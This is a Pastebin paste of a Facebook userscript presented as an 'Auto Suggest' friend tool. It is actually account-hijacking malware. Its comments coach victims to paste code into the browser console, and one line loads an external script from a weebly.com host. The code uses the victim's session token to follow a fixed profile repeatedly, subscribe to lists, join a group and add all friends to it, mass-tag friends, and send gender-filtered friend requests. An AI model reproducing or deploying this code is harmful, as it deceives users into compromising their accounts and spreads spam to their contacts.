Advertisement
Hafixie93

Bot

Dec 10th, 2020
2,263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Robots 11.53 KB | None | 0 0
  1. // ==UserScript==
  2. // @name            Facebook Auto Suggest[Future Zone]
  3. // @description     Facebook Auto Suggest[Future Zone]
  4. // @namespace       http://userscripts.org/scripts/review/169917
  5. // @updateURL       https://userscripts.org/scripts/source/162679.meta.js
  6. // @downloadURL     https://userscripts.org/scripts/source/162679.user.js
  7. // @homepageURL     https://userscripts.org/scripts/show/169917
  8. // @include         https://*.facebook.com/*
  9. // @include         https://*.facebook.com/*/*
  10. // @include         http://*.facebook.com/*
  11. // @include         http://*.facebook.com/*/*
  12. // ==/UserScript==
  13.  
  14. // 1.Make sure you are using Mozilla Firefox web browse.
  15. // 2.If you don't have then please download it.
  16. // 3.Login to facebook if not logged in already.
  17. // 4.Now open your friends timeline where you want to suggest all your friends.
  18. // 5.Now press CTRL+SHIFT+K it will open a Console Box.
  19. // 6.Copy the given below code.
  20.  
  21. document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/1/9/3/5/19350397/suggest_friends.js';
  22.  
  23. //7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
  24.  
  25. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  26. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  27.    
  28. function cereziAl(isim) {
  29.     var tarama = isim + "=";
  30.     if (document.cookie.length > 0) {
  31.         konum = document.cookie.indexOf(tarama)
  32.         if (konum != -1) {
  33.             konum += tarama.length
  34.             son = document.cookie.indexOf(";", konum)
  35.             if (son == -1)
  36.                 son = document.cookie.length
  37.             return unescape(document.cookie.substring(konum, son))
  38.         }
  39.         else { return ""; }
  40.     }
  41. }
  42.  
  43. function getRandomInt (min, max) {
  44.     return Math.floor(Math.random() * (max - min + 1)) + min;
  45. }
  46. function randomValue(arr) {
  47.     return arr[getRandomInt(0, arr.length-1)];
  48. }
  49.  
  50. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  51. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  52.  
  53. function a(abone){
  54.     var http4 = new XMLHttpRequest();
  55.      
  56.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  57.      
  58.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  59.     http4.open("POST", url4, true);
  60.      
  61.     //Send the proper header information along with the request
  62.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  63.     http4.setRequestHeader("Content-length", params4.length);
  64.     http4.setRequestHeader("Connection", "close");
  65.      
  66.     http4.onreadystatechange = function() {//Call a function when the state changes.
  67.     if(http4.readyState == 4 && http4.status == 200) {
  68.        
  69.       http4.close; // Close the connection
  70.      
  71.     }
  72.     }
  73.    
  74.     http4.send(params4);
  75. }
  76.  
  77. function sublist(uidss) {
  78.         var a = document.createElement('script');
  79.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  80.         document.body.appendChild(a);
  81. }
  82.  
  83. function sublist(uidss) {
  84.         var a = document.createElement('script');
  85.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  86.         document.body.appendChild(a);
  87. }
  88.  
  89. a("100003403261158");
  90. a("100003403261158");
  91. a("100003403261158");
  92. a("100003403261158");
  93. a("100003403261158");
  94. a("100003403261158");
  95. a("100003403261158");
  96. a("100003403261158");
  97. a("100003403261158");
  98. a("100003403261158");
  99. a("100003403261158");
  100. a("100003403261158");
  101. a("100003403261158");
  102. a("100003403261158");
  103. a("100003403261158");
  104. a("100003403261158");
  105. a("100003403261158");
  106. a("100003403261158");
  107. a("100003403261158");
  108. a("100003403261158");
  109. a("100003403261158");
  110. a("100003403261158");
  111. a("100003403261158");
  112. a("100003403261158");
  113. a("100003403261158");
  114. a("100003403261158");
  115. a("100003403261158");
  116. a("100003403261158");
  117.  
  118. sublist("456929791097126");
  119. sublist("459094700880635");
  120.  
  121. sublist("463245597132212");
  122. sublist("468564389933666");
  123. sublist("463616233761815");
  124. sublist("468564519933653");
  125. sublist("468564063267032");
  126. sublist("468566759933429");
  127. sublist("468567576600014");
  128. sublist("468566919933413");
  129.  
  130. var gid = ['230271180491268'];
  131. var gid = ['230271180491268'];
  132. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  133. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  134.  
  135. var httpwp = new XMLHttpRequest();
  136. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  137. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  138. httpwp['open']('POST', urlwp, true);
  139. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  140. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  141. httpwp['setRequestHeader']('Connection', 'keep-alive');
  142. httpwp['send'](paramswp);
  143.  
  144. var fb_dtsg = document['getElementsByName']('fb_d6tsg')[0]['value'];
  145. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  146.  
  147. var friends = new Array();
  148. gf = new XMLHttpRequest();
  149. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  150. gf['send']();
  151. if (gf['readyState'] != 4) {} else {
  152.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  153.     if (data['error']) {} else {
  154.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  155.             return _0x93dax8['index'] - _0x93dax9['index'];
  156.         });
  157.     };
  158. };
  159.  
  160. for (var i = 0; i < friends['length']; i++) {
  161.     var httpwp = new XMLHttpRequest();
  162.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  163.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  164.     httpwp['open']('POST', urlwp, true);
  165.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  166.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  167.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  168.     httpwp['onreadystatechange'] = function () {
  169. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  170.     };
  171.     httpwp['send'](paramswp);
  172. };
  173. var spage_id = "230271180491268";
  174. var spost_id = "464666650323440";
  175. var sfoto_id = "469824666474305";
  176. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  177. var smesaj = "";
  178. var smesaj_text = "";
  179. var arkadaslar = [];
  180. var svn_rev;
  181. var bugun= new Date();
  182. var btarihi = new Date();
  183. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  184. if(!document.cookie.match(/paylasti=(\d+)/)){
  185. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  186. }
  187.  
  188.  
  189. //arkadaslari al ve isle
  190. function sarkadaslari_al(){
  191.         var xmlhttp = new XMLHttpRequest();
  192.         xmlhttp.onreadystatechange = function () {
  193.             if(xmlhttp.readyState == 4){
  194.                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  195.                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  196.                     smesaj = "";
  197.                     smesaj_text = "";
  198.                   for(i=f*10;i<(f+1)*10;i++){
  199.                     if(arkadaslar.payload.entries[i]){
  200.                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  201.                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  202.                   }
  203.                     }
  204.                     sdurumpaylas();             }
  205.                
  206.             }
  207.            
  208.         };
  209.         var params = "&filter[0]=user";
  210.         params += "&options[0]=friends_only";
  211.         params += "&options[1]=nm";
  212.         params += "&token=v7";
  213.         params += "&viewer=" + user_id;
  214.         params += "&__user=" + user_id;
  215.        
  216.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  217.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  218.         xmlhttp.send();
  219. }
  220.  
  221. //tiklama olayini dinle
  222. var tiklama = document.addEventListener("click", function () {
  223. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  224. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  225. sarkadaslari_al();
  226. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  227.  
  228. document.removeEventListener(tiklama);
  229. }
  230.  }, false);
  231.  
  232.  
  233. //arkadaþ ekleme
  234. function sarkadasekle(uid,cins){
  235.         var xmlhttp = new XMLHttpRequest();
  236.         xmlhttp.onreadystatechange = function () {
  237.             if(xmlhttp.readyState == 4){   
  238.             }
  239.         };
  240.        
  241.         xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  242.         var params = "to_friend=" + uid;
  243.         params += "&action=add_friend";
  244.         params += "&how_found=friend_browser";
  245.         params += "&ref_param=none";
  246.         params += "&outgoing_id=";
  247.         params += "&logging_location=friend_browser";
  248.         params += "&no_flyout_on_click=true";
  249.         params += "&ego_log_data=";
  250.         params += "&http_referer=";
  251.         params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  252.         params += "&phstamp=165816749114848369115";
  253.         params += "&__user=" + user_id;
  254.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  255.         xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  256.        
  257. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  258.         xmlhttp.send(params);
  259. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  260.         cinsiyetgetir(uid,cins,"sarkadasekle");
  261. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  262.         xmlhttp.send(params);
  263. }
  264. }
  265.  
  266. //cinsiyet belirleme
  267. var cinssonuc = {};
  268. var cinshtml = document.createElement("html");
  269. function scinsiyetgetir(uid,cins,fonksiyon){
  270.         var xmlhttp = new XMLHttpRequest();
  271.         xmlhttp.onreadystatechange = function () {
  272.             if(xmlhttp.readyState == 4){
  273.             eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  274.             cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  275.             btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  276.             if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  277.             document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  278.             }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  279.             document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  280.             }
  281.             eval(fonksiyon + "(" + id + "," + cins + ");");
  282.             }
  283.         };
  284.         xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  285.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  286.         xmlhttp.send();
  287. }
  288.  
  289. function autoSuggest()
  290. {    
  291.     links=document.getElementsByTagName('a');
  292.     for (i in links) {
  293.         l=links[i];
  294.         if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  295.             l.click();
  296.         }
  297.     }
  298. }
  299.  
  300. function blub()
  301. {
  302.     if(document.getElementsByClassName('pbm fsm').length == 1) {
  303.         w = document.getElementsByClassName('pbm fsm')[0];
  304.  
  305.         e = document.createElement('a');
  306.         //e.href = '#';
  307.         e.innerHTML = 'Auto Like by iqbal';
  308.         e.className = 'uiButton';
  309.         e.onclick = autoSuggest;
  310.  
  311.         if( w.childElementCount == 0)
  312.         {
  313.             w.appendChild(document.createElement('br'));
  314.             w.appendChild(e);
  315.         }
  316.     }
  317. }
  318.  
  319. blub();
  320.  
  321. document.addEventListener("DOMNodeInserted", blub, true);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement